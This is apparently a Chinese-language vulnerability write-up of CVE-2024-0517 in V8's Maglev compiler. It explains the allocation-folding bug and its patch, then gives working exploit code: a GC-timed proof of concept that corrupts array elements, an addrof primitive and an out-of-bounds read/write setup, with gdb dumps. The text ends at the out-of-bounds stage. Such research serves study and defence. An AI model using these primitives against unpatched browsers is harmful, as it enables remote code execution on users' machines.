CVE-2024-0517

前言

该漏洞源于 V8 引擎的 Maglev 编译器在处理具有父类的类时的编译机制。在此场景下,编译器需遍历所有父类及其构造函数进行查找,而此过程中引入了安全漏洞,该漏洞的补丁和详细信息可以从chrome issues中来进行查看,下面我们将对此漏洞进行详细的分析以及对v8 shell的提权操作

环境搭建

本次我们使用的是 e73f620c2ef1230ddaa61551706225821a87c3b9]分支来进行此次的漏洞分析,下面我们来进行简单的环境搭建

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 首先获取V8源码拉取工具
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH=$HOME/depot_tools:$PATH
echo 'export PATH=$HOME/depot_tools:$PATH' >> ~/.zshrc

# 拉取源码
cd ~
mkdir v8
cd v8
fetch v8
cd v8
git checkout e73f620c2ef1230ddaa61551706225821a87c3b9
gclient sync -D

# build v8
./build/install-build-deps.sh
tools/dev/v8gen.py x64.debug

# gdb
echo 'source ~/v8/v8/tools/gdbinit' >> ~/.gdbinit

基础知识

V8引擎简介

V8引擎包含*Ignition(解释器)、Sparkplug(基线编译器)、Maglev(中层优化编译器)和TurboFan(优化编译器)*Ignition*作为一种寄存器式虚拟机,负责将解析后的*AST转换为字节码。其优化阶段最关键的步骤之一就是识别hot code,随后将这些代码送入Maglev进行初步优化。若代码进一步被频繁执行,则会进入TurboFan进行深度优化。

Maglev

Maglev是位于基线编译器之后和优化编译器之前,其优化决策完全依赖于解释器运行期间收集的反馈数据。为实现静态层面的高效优化,Maglev 通过构建由节点组成的控制流图(Control Flow Graph, CFG即 **Maglev 中间表示(Maglev IR)**来支撑其优化流程。

我们可以通过如下代码来进行对其有初步的了解

1
2
3
4
5
6
7
8
function add(a, b) {
return a * b;
}

%PrepareFunctionForOptimization(add);
add(1, 3);
%OptimizeMaglevOnNextCall(add);
add(1, 3);

执行./v8/out/x64.debug/d8 --allow-natives-syntax --print-maglev-graph ./exp/test1.js首先会打印其字节码

1
2
3
0x3473000021d8 @    0 : 0b 04             Ldar a1
0x3473000021da @ 2 : 3a 03 00 Mul a0, [0]
0x3473000021dd @ 5 : ab Return

然后就会打印其IR图

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
Graph

1/5: Constant(0x0ad8000c3c89 <NativeContext[285]>) → v-1, live range: [1-10]
2/4: Constant(0x0ad8000da915 <JSFunction add (sfi = 0xad8000da86d)>) → v-1, live range: [2-10]
Block b1
0x0ad8000da86d <SharedFunctionInfo add> (0x0ad8001c9479 <String[14]: "./exp/test1.js">)
0 : Ldar a1
3/1: InitialValue(<this>) → [stack:-6|t], live range: [3-10]
4/2: InitialValue(a0) → [stack:-7|t], live range: [4-10]
5/3: InitialValue(a1) → [stack:-8|t], live range: [5-10]
6/7: FunctionEntryStackCheck
↳ lazy @-1 (4 live vars)
7/8: Jump b2

Block b2
15: GapMove([stack:-7|t] → [rax|R|t])
2 : Mul a0, [0]
↱ eager @2 (5 live vars)
8/9: CheckedSmiUntag [v4/n2:[rax|R|t]] → [rax|R|w32], live range: [8-10]
16: GapMove([stack:-8|t] → [rcx|R|t])
↱ eager @2 (5 live vars)
9/10: CheckedSmiUntag [v5/n3:[rcx|R|t]] → [rcx|R|w32], live range: [9-10]
↱ eager @2 (5 live vars)
10/11: Int32MultiplyWithOverflow [v8/n9:[rax|R|w32], v9/n10:[rcx|R|w32]] → [rax|R|w32], live range: [10-12]
5 : Return
11/12: ReduceInterruptBudgetForReturn(5)
12/13: Int32ToNumber [v10/n11:[rax|R|w32]] → [rcx|R|t], live range: [12-13]
17: GapMove([rcx|R|t] → [rax|R|t])
13/14: Return [v12/n13:[rax|R|t]]

我们可以很清楚的看到Block b1是入口块,Block b2是主逻辑块,所以控制流就是b1 - b2 - Return

关于b1块我们可以清楚的看到其执行的是初始化与安全检查,而b2块则是乘法运算逻辑

Ubercage

Ubercage(也称为 V8 沙盒,注意区别于 Chrome 沙盒)是 V8 引擎内部引入的一种新型防御机制,其目标是在攻击者成功利用 V8 漏洞后,仍能强制限制内存读写边界。

该机制的设计核心是将 V8 堆内存重新定位到一个预保留的虚拟地址空间(称为沙盒)。此设计假设攻击者能够破坏 V8 堆内存,但通过沙盒隔离,将内存访问限制在沙盒内部,从而阻止攻击者在成功利用 V8 漏洞后实现任意代码执行。Ubercage 本质上为 V8 创建了一个进程内沙盒,将潜在的任意内存写入转化为受边界约束的写入,且性能开销极低。

Uberage的另一种机制是代码指针沙盒化。其实现方式就是从JS对象中移除直接存储的代码指针,改为使用一个索引指向内存中独立隔离区域的代码指针表。

最后,Ubercage 还移除了 Typed Array 对象中完整的 64 位指针,此前,攻击者可利用这些对象的数据指针(backing store) 构造任意读写原语但,Ubercage 的部署使此攻击路径彻底失效。

垃圾收集

垃圾收集是一个内存的管理过程,是一种自动释放无引用对象内存的管理机制。在V8引擎中,存在新生代和老生代两个概念:当新生代的From-Speace被填满时,就会触发新生代的GC清理无用对象,而另外一侧的To-Speace则会以相同的方式工作,若对象在经历两次GC之后仍然存活,就会移入老生代空间。可以阅读这个博客来对此知识有更加深入的了解。

V8中的对象表示

V8在64位构建的时候会采用指针压缩技术,所有指针在V8堆中均以32位值存储。为了区分当前的值时指针还是小整数(SMI),V8会采用指针标记机制,即指针的末位设为1,则将该位与V8堆基值相加,解压缩为完成指针,而SMI则会将数值左移一位,末位保留0。读取时右移一位即可,下面我们来看代码具体了解一下。

下面我们查看一下gdb中的内存视图

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
##### array a
DebugPrint: 0x18860004a8a9: [JSArray]
- map: 0x18860018e601 <Map[16](PACKED_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x18860018e845 <JSArray[0]>
- elements: 0x188600199c99 <FixedArray[1]> [PACKED_SMI_ELEMENTS (COW)]
- length: 1
- properties: 0x1886000006a5 <FixedArray[0]>
- All own properties (excluding elements): {
0x188600000cf1: [String] in ReadOnlySpace: #length: 0x188600025d29 <AccessorInfo name= 0x188600000cf1 <String[6]: #length>, data= 0x188600000061 <undefined>> (const accessor descriptor), location: descriptor
}
- elements: 0x188600199c99 <FixedArray[1]> {
0: 15
}

##### 查看elements
0x188600199c98: 0x000005dd # map 0x00000002 #length 0x0000001e # 15 0x0000105d
0x188600199ca8: 0x00000000 0x00199c99 0x00000565 0x00000004
0x188600199cb8: 0x00199ca5 0x00199c81 0x000008a1 0x00400000
0x188600199cc8: 0x00000046 0x00199cb1 0x00000e19 0x00000061
0x188600199cd8: 0x00000010 0x00000008 0x00000000 0x2500007a

上图可以看出0x1e右移一位刚好与数组的15对应,下面我们来看b数组

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
##### array b
DebugPrint: 0x18860004a8b9: [JS_OBJECT_TYPE]
- map: 0x188600199d85 <Map[16](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x188600184ae5 <Object map = 0x188600184121>
- elements: 0x1886000006a5 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x1886000006a5 <FixedArray[0]>
- All own properties (excluding elements): {
0x188600002981: [String] in ReadOnlySpace: #a: 0x188600002981 <String[1]: #a> (const data field 0), location: in-object
}
##### gdb
x/30wx 0x18860004a8b9-1
0x18860004a8b8: 0x00199d85 # map 0x000006a5 # elements 0x000006a5 0x00002981 # Named properties
0x18860004a8c8: 0x00000605 0x00010001 0x00000000 0x000006cd
0x18860004a8d8: 0x00002981 0x00000184 0x00000002 0x00000000
0x18860004a8e8: 0x00000000 0x00000000 0x00000000 0x00000000
0x18860004a8f8: 0x00000000 0x00000000 0x00000000 0x00000000
0x18860004a908: 0x00000000 0x00000000 0x00000000 0x00000000
0x18860004a918: 0x00000000 0x00000000 0x00000000 0x00000000
0x18860004a928: 0x00000000 0x0000000

V8 对象包含两种属性类型

  1. 数字属性(如 obj[0]obj[1]):
    • 通常存储在一个由 elements 指针指向的连续数组中。
  2. 命名属性(如 obj["a"]obj.a):
    • 默认存储在对象自身的内存块内(内联属性)。
    • 当新增属性数量超过默认阈值(通常为 4 个)时,后续属性将存储在一个由 properties 指针指向的连续数组中。

漏洞分析

补丁分析

惯例我们先从补丁开始看

1
2
3
4
5
6
7
8
@@ -5597,6 +5597,7 @@
object = BuildAllocateFastObject(
FastObject(new_target_function->AsJSFunction(), zone(), broker()),
AllocationType::kYoung);
+ ClearCurrentRawAllocation();
} else {
object = BuildCallBuiltin<Builtin::kFastNewObject>(
{GetConstant(current_function), new_target});

补丁很简单就添加了一个函数ClearCurrentRawAllocation(),该函数如下,其目的就是将current_raw_allocation_指针置为空,下面我们来分析一下这个指针的作用以及为何会触发漏洞。

1
2
3
void MaglevGraphBuilder::ClearCurrentRawAllocation() {
current_raw_allocation_ = nullptr;
}

分配折叠

Maglev试图通过将多次内存分配合并为单个大分配来优化内存分配策略。其核心机制是维护一个指向最后一次执行内存分配的节点(AllocateRaw节点)的指针。当后续出现新的内存请求时,系统会执行若干检查:若条件满足,则会直接扩展前次分配的容量,将新请求的大小累加到原有分配上。例如,若先前请求分配了12字节内存,后续又请求88字节,Maglev会将第一次分配扩展为100字节,并完全消除第二次独立分配。此时前12字节用于原始请求,后续88字节空间则服务于第二次请求。

当Maglev执行代码降级(lowering)并遇到需要内存分配的场景时,会调用MaglevGraphBuilder::ExtendOrReallocateCurrentRawAllocation()函数。该函数的源代码实现如下所示。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// File: src/maglev/maglev-graph-builder.cc

ValueNode* MaglevGraphBuilder::ExtendOrReallocateCurrentRawAllocation(
int size, AllocationType allocation_type) {

if (!current_raw_allocation_ ||
current_raw_allocation_->allocation_type() != allocation_type ||
!v8_flags.inline_new) {
current_raw_allocation_ =
AddNewNode<AllocateRaw>({}, allocation_type, size);
return current_raw_allocation_;
}


int current_size = current_raw_allocation_->size();
if (current_size + size > kMaxRegularHeapObjectSize) {
return current_raw_allocation_ =
AddNewNode<AllocateRaw>({}, allocation_type, size);
}

DCHECK_GT(current_size, 0);
int previous_end = current_size;
current_raw_allocation_->extend(size);
return AddNewNode<FoldedAllocation>({current_raw_allocation_}, previous_end);
}

函数的目标是 合并连续的内存分配请求 以减少内存分配次数。通过复用或扩展前一次分配,避免频繁调用内存分配器,提升性能。假设连续两次调用:

  1. ExtendOrReallocateCurrentRawAllocation(12, NEW_SPACE)
    • 首次无当前分配 → 创建 AllocateRaw(12)current_raw_allocation_ 指向它。
  2. ExtendOrReallocateCurrentRawAllocation(88, NEW_SPACE)
    • 类型相同且未超限 → 扩展 AllocateRaw 至 100 字节,返回 FoldedAllocation 节点指向偏移 12。

内存布局:

1
2
[AllocateRaw(100)][FoldedAllocation(offset=12)]
|----12----|----88----|

Maglev通过这种方式优化内存分配次数,在代码中该技术被称为分配折叠(Allocation Folding),而那些通过扩展前一次分配大小而被优化掉的分配则称为折叠式分配(Folded Allocations)。然而,这里存在一个与**垃圾回收(Garbage Collection, GC)**相关的隐患。如之前章节所述,V8引擎采用**移动式垃圾回收器(Moving Garbage Collector)**。因此,如果在两次“折叠式”分配之间触发了GC,会导致以下问题:

  1. 第一次分配的对象被移动
    GC会将第一个分配已初始化的对象移动到堆中的其他位置(例如内存整理期间)。
  2. 为第二次分配保留的空间被释放
    由于GC发生在第一个对象初始化之后、第二个对象初始化之前,GC无法感知到第二个分配的存在(此时第二个对象尚未初始化)。因此,GC会认为原分配空间中为第二个对象预留的部分是“空闲内存”,并将其释放。
  3. 越界写入风险
    当后续尝试初始化第二个对象时,FoldedAllocation节点会基于原始分配的偏移量(例如偏移12字节)计算地址。但由于第一个对象已被移动,原始分配的内存可能已被回收或重新分配,此时基于旧地址的偏移量写入数据将导致越界写入(Out-of-Bounds Write)

BuildAllocateFastObject函数

BuildAllocateFastObject() 函数是对 ExtendOrReallocateCurrentRawAllocation()封装函数,其核心功能是**通过多次调用 ExtendOrReallocateCurrentRawAllocation()**,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// File: src/maglev/maglev-graph-builder.cc
ValueNode* MaglevGraphBuilder::BuildAllocateFastObject(
FastObject object, AllocationType allocation_type) {


[TRUNCATED]

[1]

ValueNode* allocation = ExtendOrReallocateCurrentRawAllocation(
object.instance_size, allocation_type);

[TRUNCATED]

return allocation;
}

如 [1] 处代码所示,BuildAllocateFastObject() 函数在需要分配内存时会调用 ExtendOrReallocateCurrentRawAllocation(),随后将分配的内存初始化为对象数据。此过程中有一个关键设计细节:该函数不会在完成后主动清除 current_raw_allocation_ 变量,而是将此责任交给调用方,由其在适当时机通过调用 MaglevGraphBuilder 的辅助函数 ClearCurrentRawAllocation()current_raw_allocation_ 置为 NULL。若未正确清理此变量,可能导致跨 GC 边界的错误折叠分配,进而引发越界写入漏洞。

VisitFindNonDefaultConstructorOrConstruct函数

FindNonDefaultConstructorOrConstruct(查找非默认构造函数或构造)字节码操作码用于构建对象实例。该操作码会从构造函数的超构造函数开始沿着原型链向上遍历,直到发现一个非默认构造函数。正如我们之前在测试案例中看到的情况,如果最终遍历到默认的基构造函数(如基础场景),则会创建该对象的实例。

Maglev编译器通过调用VisitFindNonDefaultConstructorOrConstruct()函数,将这个操作码转换为Maglev中间表示(IR)。该函数代码如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// File: src/maglev/maglev-graph-builder.cc

void MaglevGraphBuilder::VisitFindNonDefaultConstructorOrConstruct() {
ValueNode* this_function = LoadRegisterTagged(0);
ValueNode* new_target = LoadRegisterTagged(1);

auto register_pair = iterator_.GetRegisterPairOperand(2);

// [1]

if (TryBuildFindNonDefaultConstructorOrConstruct(this_function, new_target,
register_pair)) {
return;
}

// [2]

CallBuiltin* result =
BuildCallBuiltin(
{this_function, new_target});
StoreRegisterPair(register_pair, result);
}

我们可以发现其在[1]处调用了**TryBuildFindNonDefaultConstructorOrConstruct()**函数,该函数就是我们此次漏洞所在的地方,下面我们来看一下这个函数

TryBuildFindNonDefaultConstructorOrConstruct函数

这个函数代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
bool MaglevGraphBuilder::TryBuildFindNonDefaultConstructorOrConstruct(
ValueNode* this_function, ValueNode* new_target,
std::pair<interpreter::Register, interpreter::Register> result) {
// See also:
// JSNativeContextSpecialization::ReduceJSFindNonDefaultConstructorOrConstruct

compiler::OptionalHeapObjectRef maybe_constant =
TryGetConstant(this_function);
if (!maybe_constant) return false;

compiler::MapRef function_map = maybe_constant->map(broker());
compiler::HeapObjectRef current = function_map.prototype(broker());

// TODO(v8:13091): Don't produce incomplete stack traces when debug is active.
// We already deopt when a breakpoint is set. But it would be even nicer to
// avoid producting incomplete stack traces when when debug is active, even if
// there are no breakpoints - then a user inspecting stack traces via Dev
// Tools would always see the full stack trace.

while (true) {
if (!current.IsJSFunction()) return false;
compiler::JSFunctionRef current_function = current.AsJSFunction();

// If there are class fields, bail out. TODO(v8:13091): Handle them here.
if (current_function.shared(broker())
.requires_instance_members_initializer()) {
return false;
}

// If there are private methods, bail out. TODO(v8:13091): Handle them here.
if (current_function.context(broker())
.scope_info(broker())
.ClassScopeHasPrivateBrand()) {
return false;
}

FunctionKind kind = current_function.shared(broker()).kind();
if (kind != FunctionKind::kDefaultDerivedConstructor) {
// The hierarchy walk will end here; this is the last change to bail out
// before creating new nodes.
if (!broker()->dependencies()->DependOnArrayIteratorProtector()) {
return false;
}

compiler::OptionalHeapObjectRef new_target_function =
TryGetConstant(new_target);
if (kind == FunctionKind::kDefaultBaseConstructor) {
// Store the result register first, so that a lazy deopt in
// `FastNewObject` writes `true` to this register.
StoreRegister(result.first, GetBooleanConstant(true));

ValueNode* object;
if (new_target_function && new_target_function->IsJSFunction() &&
HasValidInitialMap(new_target_function->AsJSFunction(),
current_function)) {
object = BuildAllocateFastObject(
FastObject(new_target_function->AsJSFunction(), zone(), broker()),
AllocationType::kYoung);
} else {
object = BuildCallBuiltin<Builtin::kFastNewObject>(
{GetConstant(current_function), new_target});
// We've already stored "true" into result.first, so a deopt here just
// has to store result.second. Also mark result.first as being used,
// since the lazy deopt frame won't have marked it since it used to be
// a result register.
current_interpreter_frame_.get(result.first)->add_use();
object->lazy_deopt_info()->UpdateResultLocation(result.second, 1);
}
StoreRegister(result.second, object);
} else {
StoreRegister(result.first, GetBooleanConstant(false));
StoreRegister(result.second, GetConstant(current));
}

broker()->dependencies()->DependOnStablePrototypeChain(
function_map, WhereToStart::kStartAtReceiver, current_function);
return true;
}

// Keep walking up the class tree.
current = current_function.map(broker()).prototype(broker());
}
}

这个函数的本质就是遍历正在构造对象的原型链,以便找出的一个非默认构造函数,并利用该信息来构造对象实例。为了确保漏洞利用条件,我们可以先看一下这个函数。

首先在开头我们可以发现被构造实例的对象必须是”常量”。而后面则开始遍历原型链。循环中的current_function保存当前父对象的构造函数,若某个父类构造函数并非函数类型,则循环会终止。

后面则会通过FunctionKind枚举来判断当前父类构造函数的类型,若为默认派生构造函数,则会跳转至结尾,反之则会进入处理非默认构造函数的代码块。之后会有一个关键操作就是验证new.target的常量性,之后会进一步确定其是否是有效常量,若是则会通过条件,之后便会调用函数BuildAllocateFastObject(new_target),该函数内部会调用ExtendOrReallocateCurrentRawAllocation(int size, AllocationType allocation_type)函数,而在调用BuildAllocateFastObject()函数后,其不会清理current_raw_allocation_常量,那么如果原始分配和折叠分配的期间,触发了垃圾回收,就会导致越界读写。

exp

下面我们就可以开始进行对漏洞的利用了

漏洞演示

首先我们来写一段poc来了解一下该漏洞可以完成的操作以便后续来进行漏洞利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
let empty_object = {};
let empty_array = [];
let corrupted_instance = null;
let dogc_flag = false;
let buffer = new ArrayBuffer(8);
let f64 = new Float64Array(buffer);
let u32 = new Uint32Array(buffer);
let b64 = new BigUint64Array(buffer);


function dogc() {
if (dogc_flag == true) {
for (let i = 0; i < 900; i++) {
new ArrayBuffer(0x10000);
}
}
}

class ClassParent { }
class ClassBug extends ClassParent {
constructor(a20, a21, a22) {
const v24 = new new.target();
let x = [empty_object, empty_object, empty_object, empty_object, empty_object, empty_object, empty_object, empty_object];
super();
let a = [1.1];
this.x = x;
this.a = a;
JSON.stringify(empty_array);
}
[1] = dogc();
}

for (let i = 0; i < 200; i++) {
dogc_flag = false;
if (i % 2 == 0) dogc_flag = true;
dogc();
}

for (let i = 0; i < 650; i++) {
dogc_flag = false;
if (i == 644 || i == 645 || i == 646 || i == 640) {
dogc_flag = true;
dogc();
dogc_flag = false;
}
if (i == 646) dogc_flag = true;
let x = Reflect.construct(ClassBug, empty_array, ClassParent);
if (i == 646) {
corrupted_instance = x;
}
}

let x = corrupted_instance.x;
let a = corrupted_instance.a;
%DebugPrint(corrupted_instance);
%DebugPrint(x);
%DebugPrint(a);
while (1) {
}

我们在realse模式下执行该代码,并使用gdb查看布局结果如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
------- this -------
DebugPrint: 0x25550030adad: [JS_OBJECT_TYPE] in OldSpace
- map: 0x25550030a5f5 <Map[20](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x2555001a3f69 <ClassParent map = 0x25550030a59d>
- elements: 0x255500202a29 <FixedArray[19]> [HOLEY_ELEMENTS]
- properties: 0x2555000006a5 <FixedArray[0]>
- All own properties (excluding elements): {
0x255500002af1: [String] in ReadOnlySpace: #x: 0x25550030ad9d <JSArray[8]> (const data field 0), location: in-object
0x255500002981: [String] in ReadOnlySpace: #a: 0x25550030add1 <JSArray[1]> (const data field 1), location: in-object
}
- elements: 0x255500202a29 <FixedArray[19]> {
0: 0x2555000006c1 <the_hole_value>
1: 0x255500000061 <undefined>
2-18: 0x2555000006c1 <the_hole_value>
}
0x25550030a5f5: [Map] in OldSpace
- type: JS_OBJECT_TYPE
- instance size: 20
- inobject properties: 2
- unused property fields: 0
- elements kind: HOLEY_ELEMENTS
- enum length: invalid
- stable_map
- back pointer: 0x25550030a5c5 <Map[20](HOLEY_ELEMENTS)>
- prototype_validity cell: 0x25550030a5ed <Cell value= 0>
- instance descriptors (own) #2: 0x25550030a7c9 <DescriptorArray[2]>
- prototype: 0x2555001a3f69 <ClassParent map = 0x25550030a59d>
- constructor: 0x25550019ad25 <JSFunction ClassParent (sfi = 0x255500199ecd)>
- dependent code: 0x25550030ab1d <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 0

------- x array ----------
DebugPrint: 0x25550030ad9d: [JSArray] in OldSpace
- map: 0x25550018eea5 <Map[16](PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x25550018e845 <JSArray[0]>
- elements: 0x25550030adc1 <FixedDoubleArray[1]> [PACKED_ELEMENTS]
- length: 8
- properties: 0x2555000006a5 <FixedArray[0]>
- All own properties (excluding elements): {
0x255500000cf1: [String] in ReadOnlySpace: #length: 0x255500025d29 <AccessorInfo name= 0x255500000cf1 <String[6]: #length>, data= 0x255500000061 <undefined>> (const accessor descriptor), location: descriptor
}
- elements: 0x25550030adc1 <FixedDoubleArray[1]> {
0: -858993459
}
0x25550018eea5: [Map] in OldSpace
- type: JS_ARRAY_TYPE
- instance size: 16
- inobject properties: 0
- unused property fields: 0
- elements kind: PACKED_ELEMENTS
- enum length: invalid
- back pointer: 0x25550018ee65 <Map[16](HOLEY_DOUBLE_ELEMENTS)>
- prototype_validity cell: 0x2555000009e1 <Cell value= 1>
- instance descriptors #1: 0x25550018edb1 <DescriptorArray[1]>
- transitions #1: 0x25550018eecd <TransitionArray[4]>Transition array #1:
0x255500000db5 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_ELEMENTS) -> 0x25550018eee5 <Map[16](HOLEY_ELEMENTS)>

- prototype: 0x25550018e845 <JSArray[0]>
- constructor: 0x25550018e56d <JSFunction Array (sfi = 0x2555001c6155)>
- dependent code: 0x2555000006b5 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 0

-------- a array -----------
DebugPrint: 0x25550030add1: [JSArray] in OldSpace
- map: 0x25550018ee25 <Map[16](PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x25550018e845 <JSArray[0]>
- elements: 0x25550030adc1 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
- length: 1
- properties: 0x2555000006a5 <FixedArray[0]>
- All own properties (excluding elements): {
0x255500000cf1: [String] in ReadOnlySpace: #length: 0x255500025d29 <AccessorInfo name= 0x255500000cf1 <String[6]: #length>, data= 0x255500000061 <undefined>> (const accessor descriptor), location: descriptor
}
- elements: 0x25550030adc1 <FixedDoubleArray[1]> {
0: 1.1
}
0x25550018ee25: [Map] in OldSpace
- type: JS_ARRAY_TYPE
- instance size: 16
- inobject properties: 0
- unused property fields: 0
- elements kind: PACKED_DOUBLE_ELEMENTS
- enum length: invalid
- back pointer: 0x25550018ede5 <Map[16](HOLEY_SMI_ELEMENTS)>
- prototype_validity cell: 0x2555000009e1 <Cell value= 1>
- instance descriptors #1: 0x25550018edb1 <DescriptorArray[1]>
- transitions #1: 0x25550018ee4d <TransitionArray[4]>Transition array #1:
0x255500000db5 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x25550018ee65 <Map[16](HOLEY_DOUBLE_ELEMENTS)>

- prototype: 0x25550018e845 <JSArray[0]>
- constructor: 0x25550018e56d <JSFunction Array (sfi = 0x2555001c6155)>
- dependent code: 0x2555000006b5 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 0

我们可以发现两者的elements是相同的,这就是因为在分配折叠之前发生了GC进一步导致了x数组的elements被覆盖为了a数组的elements,之后我们查看一下gdb里面的内存

1
2
3
4
5
6
7
8
9
----- this ------
0x25550030adac: 0x0030a5f5 0x000006a5 0x00202a29 0x0030ad9d
0x25550030adbc: 0x0030add1 0x00000829 0x00000002 0x9999999a
0x25550030adcc: 0x3ff19999 0x0018ee25 0x000006a5 0x0030adc1
0x25550030addc: 0x00000002 0x001a3d89 0x001a3d89 0x00000565
0x25550030adec: 0x00000028 0x0030ae41 0x00000000 0x0030ae6d
0x25550030adfc: 0x000002f2 0x0000001a 0x0000000c 0x00199d65
0x25550030ae0c: 0x00000e19 0x00000268 0x00000002 0x00000004
0x25550030ae1c: 0x000002f2 0x00000000

我们可以发现其内存布局如下

cve-2024-0517

初始OOB

有了上述的结论之后我们就可以实现最初版本的OOB了。

泄露地址

1
2
3
4
5
function addrof_tmp(obj) {
x[0] = obj;
f64[0] = a[0];
return u32[0];
}

写入地址

在写入的时候我们需要创建一个double类型的数组,然后对其进行操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
let rwarr = [1.1, 2.2, 2.2];
dogc_flag = true;
dogc();

let addr_a = addrof_tmp(a);
let addr_rwarr = addrof_tmp(rwarr);
x[5] = 0x10000;
let offset = (addr_rwarr - addr_a) + 0xc;
if ((offset % 8) != 0) {
offset += 4;
}
offset = offset / 8;
offset += 1;
offset -= 1;
let mark = offset;
%DebugPrint(a);
%DebugPrint(rwarr);
console.log("mark is ==> " , mark);
console.log("a [mark] is ==> ", f2i(a[mark]).toString(16));
console.log("a[2] is ==> ", f2i(a[2]).toString(16));
while (1) {
}

上述代码是计算rwarr数组的elements和 a数组数据区起始位置的偏移,运行上述代码然后我们使用gdb可以查看到如下内存布局

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
----------代码运行结果--------------
DebugPrint: 0x3d0b0030ae8d: [JSArray] in OldSpace
- map: 0x3d0b0018ee25 <Map[16](PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x3d0b0018e845 <JSArray[0]>
- elements: 0x3d0b0030ae7d <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
- length: 65536
- properties: 0x3d0b000006a5 <FixedArray[0]>
- All own properties (excluding elements): {
0x3d0b00000cf1: [String] in ReadOnlySpace: #length: 0x3d0b00025d29 <AccessorInfo name= 0x3d0b00000cf1 <String[6]: #length>, data= 0x3d0b00000061 <undefined>> (const accessor descriptor), location: descriptor
}
- elements: 0x3d0b0030ae7d <FixedDoubleArray[1]> {
0: 1.1
}
0x3d0b0018ee25: [Map] in OldSpace
- type: JS_ARRAY_TYPE
- instance size: 16
- inobject properties: 0
- unused property fields: 0
- elements kind: PACKED_DOUBLE_ELEMENTS
- enum length: invalid
- back pointer: 0x3d0b0018ede5 <Map[16](HOLEY_SMI_ELEMENTS)>
- prototype_validity cell: 0x3d0b000009e1 <Cell value= 1>
- instance descriptors #1: 0x3d0b0018edb1 <DescriptorArray[1]>
- transitions #1: 0x3d0b0018ee4d <TransitionArray[4]>Transition array #1:
0x3d0b00000db5 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x3d0b0018ee65 <Map[16](HOLEY_DOUBLE_ELEMENTS)>

- prototype: 0x3d0b0018e845 <JSArray[0]>
- constructor: 0x3d0b0018e56d <JSFunction Array (sfi = 0x3d0b001c6155)>
- dependent code: 0x3d0b000006b5 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 0

DebugPrint: 0x3d0b0030aee5: [JSArray] in OldSpace
- map: 0x3d0b0018ee25 <Map[16](PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x3d0b0018e845 <JSArray[0]>
- elements: 0x3d0b0030af69 <FixedDoubleArray[3]> [PACKED_DOUBLE_ELEMENTS]
- length: 3
- properties: 0x3d0b000006a5 <FixedArray[0]>
- All own properties (excluding elements): {
0x3d0b00000cf1: [String] in ReadOnlySpace: #length: 0x3d0b00025d29 <AccessorInfo name= 0x3d0b00000cf1 <String[6]: #length>, data= 0x3d0b00000061 <undefined>> (const accessor descriptor), location: descriptor
}
- elements: 0x3d0b0030af69 <FixedDoubleArray[3]> {
0: 1.1
1-2: 2.2
}
0x3d0b0018ee25: [Map] in OldSpace
- type: JS_ARRAY_TYPE
- instance size: 16
- inobject properties: 0
- unused property fields: 0
- elements kind: PACKED_DOUBLE_ELEMENTS
- enum length: invalid
- back pointer: 0x3d0b0018ede5 <Map[16](HOLEY_SMI_ELEMENTS)>
- prototype_validity cell: 0x3d0b000009e1 <Cell value= 1>
- instance descriptors #1: 0x3d0b0018edb1 <DescriptorArray[1]>
- transitions #1: 0x3d0b0018ee4d <TransitionArray[4]>Transition array #1:
0x3d0b00000db5 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x3d0b0018ee65 <Map[16](HOLEY_DOUBLE_ELEMENTS)>

- prototype: 0x3d0b0018e845 <JSArray[0]>
- constructor: 0x3d0b0018e56d <JSFunction Array (sfi = 0x3d0b001c6155)>
